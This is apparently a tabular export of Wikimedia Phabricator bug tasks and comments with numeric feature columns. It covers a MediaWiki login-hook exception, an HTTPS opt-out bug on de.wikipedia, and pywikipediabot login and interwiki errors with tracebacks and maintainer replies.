Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
#16 {main}

--------------------------
**Version**: unspecified
**Severity**: normal"
278496,Watch CTA on UserLogin?,https://gerrit.wikimedia.org/r/#/c/89108/ fixes this,,,1381522464,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes this
278490,Watch CTA on UserLogin?,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1291",,,1381089925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57368,HTTPS opt-out does not work on de.wikipedia,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.

https://de.wikipedia.org/wiki/Wikipedia:FZW#Sichere_Anmeldung

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1381071120,1381072702.0,PHID-USER-vvufz7opk2hhimdzyznx,False,,False,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_description,resolved,True,c2,3,False,False,True,5,True,3.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,9.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.258620689655173,0.7758620689655172,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
277717,HTTPS opt-out does not work on de.wikipedia,"

%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%",,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%"
57285,Login no longer available,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1136/
Reported by: Anonymous user
Created on: 2010-03-09 13:34:43
Subject: Login no longer available
Original description:
I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 

Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
Logging into FamilyName:en as UserName via API

Error downloading data: No JSON object could be decoded
Request: en:/scriptpath/api.php?
Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)

Dump output: 

Error reported: No JSON object could be decoded
127.0.0.1
/hcrscript/api.php?

\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}

on Ubuntu 9.04:

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
\[GCC 4.3.3\]

also broken on Ubuntu 8.04

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]


But it seems to work fine on this system: 

foreignhost:pywikipedia-2010-03-09 alex$ python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]

Any ideas what's happening?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1136",Needs Triage,90.0,1380949020,1387787351.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_description,declined,True,c2,3,False,False,False,5,True,0.25,0.0,0.0,0.5,0.0,1.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.75,0.25,2.75,4.5,0.0,0.5,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.25,1.75,0.75,0.25,1.0,0.0,0.25,0.0,0.75,0.25,0.5,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,11.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.75,0.75,12.75,0.25,0.75,3.0,0.0,0.0,0.0,0.0,1.75,0.0,12.75,0.0,1.0,4.5,8.75,0.75,0.0,0.0,1.0,0.0,0.5,1.0,0.0,2.25,0.25,0.0,0.0,4.695378151260504,0.659453781512605,"Originally from: URL
Reported by: Anonymous user
Created on: 2010-03-09 13:34:43
Subject: Login no longer available
Original description:
I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 

Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
Logging into FamilyName:en as UserName via API

Error downloading data: No JSON object could be decoded
Request: en:/scriptpath/api.php?
Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)

Dump output: 

Error reported: No JSON object could be decoded
127.0.0.1
/hcrscript/api.php?

\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}

on Ubuntu 9.04:

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
\[GCC 4.3.3\]

also broken on Ubuntu 8.04

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]


But it seems to work fine on this system: 

foreignhost:pywikipedia-2010-03-09 alex$ python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]

Any ideas what's happening?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
273086,Login no longer available,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.,,,1387787351,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,13.0,13.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.8387096774193549,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.
273077,Login no longer available,Might be outdated.,,,1381757711,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Might be outdated.
273070,Login no longer available,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)


?

Probably there is something wrong with the json libraries, but I wonder what...",,,1380949038,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,False,,,5,True,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,17.0,2.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.317460317460317,0.6190476190476191,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)


?

Probably there is something wrong with the json libraries, but I wonder what..."
57232,login.all always asks for password,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1360/
Reported by: nakor-wikipedia
Created on: 2011-10-14 14:23:06
Subject: login.all always asks for password
Original description:
When calling

login.py -all -pass

the script first asks for a password and then asks for password for every sinmgle wiki site:

login.py -all  -pass
Password for all accounts: 
Password for user Almabot on mediawiki:mediawiki: 
....

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1360",Needs Triage,90.0,1380948420,1399300450.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-x4zx43o5jogulf5ohnll,task_description,invalid,True,c2,3,False,False,False,5,True,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,6.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.8727272727272726,0.5909090909090908,"Originally from: URL
Reported by: nakor-wikipedia
Created on: 2011-10-14 14:23:06
Subject: login.all always asks for password
Original description:
When calling

login.py -all -pass

the script first asks for a password and then asks for password for every sinmgle wiki site:

login.py -all  -pass
Password for all accounts: 
Password for user Almabot on mediawiki:mediawiki: 
....

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
270248,login.all always asks for password,Please don't post your message on several bugs.,,,1399300450,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,35,True,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Please don't post your message on several bugs.
270241,login.all always asks for password,"# C:\Pywikipedia>login.py
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:*********
# Logging in to wikipedia:so as AbshirBot via API.
# Should be logged in now
# 
# C:\Pywikipedia>welcome.py
# Querying new user log from API....
# [Skip ] User been created automatically.
# [Skip ] User been created automatically.
# [Skip ] User has been created automatically.
# [NoAct] User Mohamed Ahmed has no contributions.
# [Skip ] User has been created automatically.
# [Match] User has enough edits to be welcomed.
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Logging in to wikipedia:so as AbshirBot via API.

Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.

Please, tell me things that I can do. Thanks....",,,1399299900,,PHID-USER-pzpng2elqrbnhuroddar,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,35,True,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,5.0,8.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,1.0,3.3333333333333335,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,4.333333333333333,16.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,6.333333333333333,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,8.0,11.666666666666666,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,3.6666666666666665,3.557609710550887,0.5456115779645191,"# C:\Pywikipedia>login.py
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:*********
# Logging in to wikipedia:so as AbshirBot via API.
# Should be logged in now
# 
# C:\Pywikipedia>welcome.py
# Querying new user log from API....
# [Skip ] User been created automatically.
# [Skip ] User been created automatically.
# [Skip ] User has been created automatically.
# [NoAct] User Mohamed Ahmed has no contributions.
# [Skip ] User has been created automatically.
# [Match] User has enough edits to be welcomed.
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Logging in to wikipedia:so as AbshirBot via API.

Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.

Please, tell me things that I can do. Thanks...."
270233,login.all always asks for password,I'd like to but there is no version.py script in pywikibot,,,1380948480,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I'd like to but there is no version.py script in pywikibot
270226,login.all always asks for password,Please post your user-config.py and the output of python version.py.,,,1380948478,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,1.0,Please post your user-config.py and the output of python version.py.
57183,interwiki and login errors on en.wiki,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1488/
Reported by: reza1615
Created on: 2012-07-08 12:29:13
Subject: interwiki and login errors on en.wiki
Assigned to: xqt
Original description:
my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there


File ""interwiki.py"", line 2296, in run
self.queryStep\(\)
File ""interwiki.py"", line 2274, in queryStep
subj.finish\(self\)
File ""interwiki.py"", line 1723, in finish
if self.replaceLinks\(page, new, bot\):
File ""interwiki.py"", line 1961, in replaceLinks
status, reason, data = page.put\(newtext, comment=mcomment\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
self.site\(\).checkBlocks\(sysop = sysop\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
raise UserBlocked\('User is blocked in site %s' % self\)
pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en


also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!

--------------------------
**Version**: compat-(1.0)
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1488",Needs Triage,90.0,1380947880,1406195024.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-skkozb6q44n7yl4aqqlr,task_description,invalid,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,1.3333333333333333,1.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,0.6666666666666666,1.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,8.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,6.333333333333333,0.0,1.6666666666666667,6.333333333333333,10.0,0.0,5.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,3.897713724665124,0.537520162704257,"Originally from: URL
Reported by: reza1615
Created on: 2012-07-08 12:29:13
Subject: interwiki and login errors on en.wiki
Assigned to: xqt
Original description:
my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there


File ""interwiki.py"", line 2296, in run
self.queryStep\(\)
File ""interwiki.py"", line 2274, in queryStep
subj.finish\(self\)
File ""interwiki.py"", line 1723, in finish
if self.replaceLinks\(page, new, bot\):
File ""interwiki.py"", line 1961, in replaceLinks
status, reason, data = page.put\(newtext, comment=mcomment\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
self.site\(\).checkBlocks\(sysop = sysop\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
raise UserBlocked\('User is blocked in site %s' % self\)
pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en


also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!

--------------------------
**Version**: compat-(1.0)
**Severity**: normal
**See Also**:
URL"
267475,interwiki and login errors on en.wiki,Trying to run interwiki.py while not logged in returns this error that is completely valid,,,1406195024,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,5.066666666666666,1.0,Trying to run interwiki.py while not logged in returns this error that is completely valid
267469,interwiki and login errors on en.wiki,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
https://en.wikipedia.org/w/index.php?limit=50&tagfilter=&title=Special%3AContributions&contribs=user&target=rezabot&namespace=&tagfilter=&year=&month=-1

I checked new update but it has the same error message
also my bot is listed on Wikipedia:Bots/Status/active bots

massage

pywikipedia$ python login.py -lang:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
